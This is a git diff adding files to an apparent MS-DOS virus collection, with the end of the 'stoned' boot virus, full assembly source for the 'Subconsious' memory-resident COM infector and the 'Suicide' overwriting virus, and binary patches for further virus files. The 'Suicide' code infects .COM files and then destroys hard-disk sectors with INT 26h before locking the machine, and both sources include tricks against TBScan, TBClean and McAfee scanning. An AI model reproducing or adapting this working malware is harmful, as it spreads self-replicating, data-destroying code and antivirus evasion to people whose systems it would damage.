+ ; write sectors from mem es:bx + JMP SHORT LOC_7 + DB 7 + DB 35 DUP (0) + DB 67H, 2, 6, 67H, 2, 67H + DB 2, 0BH, 3, 67H, 2 + +stoned2 ENDP + +CODE_SEG_A ENDS + + + + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.subcon.asm b/MSDOS/Virus.MSDOS.Unknown.subcon.asm new file mode 100644 index 00000000..ec2657dc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.subcon.asm @@ -0,0 +1,259 @@ +; +; Subconsious virus, written by Conzouler 1995. +; +; This virus is based on RSV.208. +; +; Effect: +; Flashes a text on line 4 on the screen. +; The text is drawn once on the screen with +; raster beam syncronisation. The after- +; glow can make the text visible for a longer +; period, especially when using black back- +; ground. +; +; Features: +; memory resident +; com-append on execute +; no tb-flags (of course) +; no f-prot heuristics +; untbcleanable +; no destructive routines +; no stealth +; + +.model tiny +.code + org 100h + +psize equ (offset last - offset entry) / 10h + 7 +size equ offset last - offset entry + +entry: + db 0e9h,0,0 ;Initial jump +start: + call gores +delta equ $ +oentry db 0CDh,20h,90h + +gores: + mov ax, 4277h ; Installation check + int 21h + jnc restore + + mov ah, 4Ah ; Get size of memory block + mov bx, 0FFFFh + int 21h + mov ah, 4Ah ; Change size of memory + sub bx, psize+1 ; Make space for virus + int 21h + mov ah, 48h ; Allocate memory + mov bx, psize + int 21h + sub ax, 10h ; Compensate org 100h + mov es, ax + mov di, 103h + mov si, sp ; Get entry point + mov si, [si] + sub si, 3 ; Subtract first call + mov cx, size-3 + rep movsb ; Copy virus to new memory + push es + pop ds + inc byte ptr ds:[0F1h] ; Mark owner of memory + mov ax, 3508h ; Get interrupt vector + int 21h + mov i08o, bx + mov i08s, es + mov ah, 25h ; Set interrupt vector + mov dx, offset vec08 + int 21h + mov ax, 3521h ; Get interrupt vector + int 21h + mov i21o, bx + mov i21s, es + mov ah, 25h ; Set interrupt vector + mov dx, offset vec21 + int 21h +restore: + mov di, 100h + push cs ; Set es and ds to psp + pop ds + jmp next ; Clear prefetch queue + +db 'Subconsious virus - Conzouler/IR 1995.' + +next: pop si ; Get entry point + mov byte ptr ds:si[offset debug+1-delta], 0; Fool tbclean +debug: jmp nodebug + int 20h +nodebug: + push ds + pop es + push di ; Save it + movsw ; Restore program entry point + movsb + retn ; Jump to 100h + + db ' Mina tankar r det sista som ni tar... ' + +vec08: + pushf + push ax + push cx + push dx + push si + push di + push ds + push es + + xor ax, ax ; Get timer + mov ds, ax + mov al, ds:[46Ch] + and al, 7Fh ; See if time to show + or al, al + jnz v08x + + cld + + mov ax, 0B800h ; Video memory + mov ds, ax + push cs + pop es + + mov si, (80*4+20)*2 ; Centre text on line 4 + mov di, offset last + mov cx, subsize + rep movsw ; Save original + + mov dx, 3DAh ; Raster port +vbl: in al, dx ; Wait for vertical retrace + test al, 8 + jnz vbl +vbl2: in al, dx + test al, 8 + jz vbl2 + + mov cx, subsize ; Put message on screen + mov si, offset msg + mov di, (80*4+20)*2 + push ds + push es + pop ds + pop es +disp: movsb + inc di + loop disp + +vbl3: in al, dx ; Wait for retrace to end + test al, 8 + jnz vbl3 + + mov cx, 5*16 ; Wait until 5 lines have +hbl: in al, dx ; been read from video mem + test al, 1 + jz hbl +hbl2: in al, dx + test al, 1 + jnz hbl2 + loop hbl + + mov cx, subsize ; Restore original screen + mov di, (80*4+20)*2 + mov si, offset last + rep movsw + +v08x: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop ax + popf + + db 0EAh +i08o dw ? +i08s dw ? + +msg db 'LOVE LOVE LOVE LOVE LOVE LOVE LOVE LOVE' +subsize equ $-offset msg + + +vec21: + cmp ax, 4277h ; Installation check + jne v21e + iret + +v21e: cmp ax, 4B00h ; Execute program + jne v21x + + push ax ; Infect file + push bx + push cx + push dx + push ds + + mov ax, 3D82h ; Open file + int 21h + xchg ax, bx ; Put handle in bx + + push cs ; Read first bytes + pop ds ; to oentry + mov ah, 3Fh + mov dx, offset oentry + mov cx, 3 + int 21h + cmp byte ptr oentry, 'M' ; Check if exe file + je infectx + push cx + + mov ax, 4202h ; Seek to eof + xor cx, cx + cwd ; Zero dx + int 21h + sub ax, 3 ; Get offset to eof + mov word ptr entry[1], ax ; Save as jump + xchg dx, ax + mov ax, 4200h + int 21h + mov ah, 3Fh ; Infection check + mov dx, offset last + pop cx + int 21h + cmp byte ptr last[2], 0EAh ; Check if infected + je infectx + + mov byte ptr entry, 0E9h ; Create jump opcode + + mov ah, 3Fh ; Append virus + inc ah ; Fool TBScan + push ax + mov dx, 103h + mov cx, size-7 + int 21h + + mov ax, 4200h ; Insert jump + xor cx, cx + cwd + int 21h + + pop ax + mov dh, 1h ; 100h in dx + mov cl, 3 ; 3 in cx + int 21h +infectx: + mov ah, 3Eh + int 21h + + pop ds + pop dx + pop cx + pop bx + pop ax + +v21x: db 0EAh ; Jump to dos vector +i21o dw ? +i21s dw ? +last: +end entry diff --git a/MSDOS/Virus.MSDOS.Unknown.subr.asm b/MSDOS/Virus.MSDOS.Unknown.subr.asm new file mode 100644 index 0000000000000000000000000000000000000000..0c7359c7280f38a622ddb95cc399619f79fbf24e GIT binary patch literal 1152 zcmcgsOK#mT4D410e1WWZfMk&_lNBw|wh~%&ML91oLGFKzQnFu=qA6M+K((^X8GdGH z={97yX7O&s+;>h_^wf9vaP#$JX&iL|_Poa*~fQkP+y| zh73$;D)UZ5)ooczl%#k27yk_4B^8Xxa?EtVE4{vrk=T+C6w_4eP}pf20al5r7)cJ^ zSQgO&!@1CfUi%JMa3_V|NJ>^afUGNJw1?9i{R}pmJW*zhHu)Jc>Bi+4z}gL@CCiyw z@S_k0={qZFeLBX0_;AFtcXsYQ6K3$3&oDAh4SRbalZDK@MV=h;^{d7=BTQ5P+W>7U zi(~LD9$LIwgO^Z1Y*jEkY$n5{>z4A>@Yl$eQj27BEa{1Ay_meySeqNnm|fEMK=>>W z$UFaB8TOQEp=3Rpbj4J$gb(S(nFO~Lz#=P@$P7V}t)$CT?7P)M|5$zV$lR*6ops+$ zz_xCvKE_`cj$?YniK;h>i%p<_gSpf+H~e2Ue;3`r{~&tZqEGeS*U91kR=bH=|CB6z i=-ei`=sZe>#k}2RZnAvw3g|nnR|}=E_TAODKb@bv@%Bjo literal 0 HcmV?d00001 diff --git a/MSDOS/Virus.MSDOS.Unknown.suicide.asm b/MSDOS/Virus.MSDOS.Unknown.suicide.asm new file mode 100644 index 00000000..da24fd05 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.suicide.asm @@ -0,0 +1,167 @@ +;| +;| SUICIDE VIRUS BY TESLA 5 +;| +;| THIS VIRUS IS A SLIGHTLY MODIFIED VERSION OF THE DEICIDE VIRUS OF +;| GLENN BENTON, SO IT IS SMALLER IN SIZE AND A BIT MORE EFFICIENT. I +;| THINK GLENN WAS A BIG SATANIST, BECAUSE OF THE NAME DEI-CIDE (KILL +;| EVERYTHING THAT'S HOLY?). WELL, I MODIFIED THE CODE, SO IT IS NO +;| MORE DETECTABLE BY SCAN OF MCAFEE. THANKS TO 'CRYPT'? AND XTSC FOR +;| THE SOURCE CODE. GREETINGS TO ALL VIRUS WRITERS. +;| + +START_PROG: JMP SHORT START_VIRUS + +MESSAGE DB 0DH,0AH,'SUICIDE!' + DB 0DH,0AH + DB 0DH,0AH,'TESLA 5 SAYS : NO MORE HD!' + DB 0DH,0AH + DB 0DH,0AH,'NEXT TIME BE SCARED FOR ILLEGAL STUFF!$' + +START_VIRUS: MOV AH,19H + INT 21H + + DB 0A2H + DW OFFSET INFECT_DRIVE + DB 0A2H + DW OFFSET ACTUAL_DRIVE + + MOV AH,47H + MOV DL,0 + MOV SI,OFFSET ACTUAL_DIR + INT 21H + + MOV AH,1AH + MOV DX,OFFSET NEW_DTA + INT 21H + +INFECT_NEXT: MOV AH,3BH + MOV DX,OFFSET ROOT_DIR + INT 21H + + MOV AH,4EH + MOV CX,0 + MOV DX,OFFSET SEARCH_PATH + INT 21H + +CHECK_COMMAND: MOV AL,'N' + CMP [NEW_DTA+23H],AL + JNZ CHECK_INFECT + JMP SHORT SEARCH_NEXT + NOP + +CHECK_INFECT: MOV AX,3D02H + MOV DX,OFFSET NEW_DTA+1EH + INT 21H + MOV FILE_HANDLE,AX + XCHG BX,AX + + MOV AX,5700H + INT 21H + MOV FILE_DATE,DX + MOV FILE_TIME,CX + + CALL GO_BEG_FILE + + MOV AH,3FH + MOV CX,2 + MOV DX,OFFSET READ_BUF + INT 21H + + MOV AL,BYTE PTR [READ_BUF+1] + CMP AL,OFFSET START_VIRUS-102H + JNZ INFECT + + MOV AH,3EH + INT 21H + +SEARCH_NEXT: MOV AH,4FH + INT 21H + JNC CHECK_COMMAND + + MOV AL,INFECT_DRIVE + CMP AL,0 + JNZ NO_A_DRIVE + INC AL +NO_A_DRIVE: INC AL + CMP AL,3 + JNZ NO_DESTROY + + XOR BX,BX + MOV AL,2 + MOV DX,BX + MOV CX,40H + INT 26H + + MOV AH,9 + MOV DX,OFFSET MESSAGE + INT 21H + +LOCK_SYSTEM: CLI + JMP SHORT LOCK_SYSTEM + +NO_DESTROY: + MOV AH,0EH + MOV DL,AL + MOV INFECT_DRIVE,DL + INT 21H + + JMP INFECT_NEXT + +INFECT: CALL GO_BEG_FILE + + MOV AH,40H + MOV DX,100H + MOV CX,OFFSET END_VIRUS-100H + INT 21H + + MOV AX,5701H + MOV CX,FILE_TIME + MOV DX,FILE_DATE + INT 21H + + MOV AH,3EH + INT 21H + + MOV DL,BYTE PTR [ACTUAL_DRIVE] + MOV AH,0EH + INT 21H + + MOV AH,3BH + MOV DX,OFFSET ACTUAL_DIR + INT 21H + + MOV AH,9 + MOV DX,OFFSET QUIT_MESSAGE + INT 21H + + INT 20H + +GO_BEG_FILE: MOV AX,4200 + XOR CX,CX + XOR DX,DX + INT 21H + RET + + +FILE_DATE DW (?) +FILE_TIME DW (?) + +FILE_HANDLE DW (?) + +INFECT_DRIVE DB (?) + +ROOT_DIR DB '\',0 + +SEARCH_PATH DB '*.COM',0 + +READ_BUF DB 2 DUP (?) + +ACTUAL_DRIVE DB (?) + +QUIT_MESSAGE DB 'PACKED FILE IS CORRUPT',0DH,0AH,'$' + +NEW_DTA DB 2BH DUP (?) + +ACTUAL_DIR DB 40H DUP (?) + +END_VIRUS: diff --git a/MSDOS/Virus.MSDOS.Unknown.summer97.rar b/MSDOS/Virus.MSDOS.Unknown.summer97.rar new file mode 100644 index 0000000000000000000000000000000000000000..e7d98ab5cf52f61319de8bde4b1a0f610215da13 GIT binary patch literal 27845 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 